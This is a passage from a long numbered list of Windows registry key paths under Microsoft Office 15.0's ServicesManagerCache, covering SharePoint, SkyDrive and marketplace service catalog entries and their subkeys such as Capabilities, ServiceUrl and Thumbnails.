  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
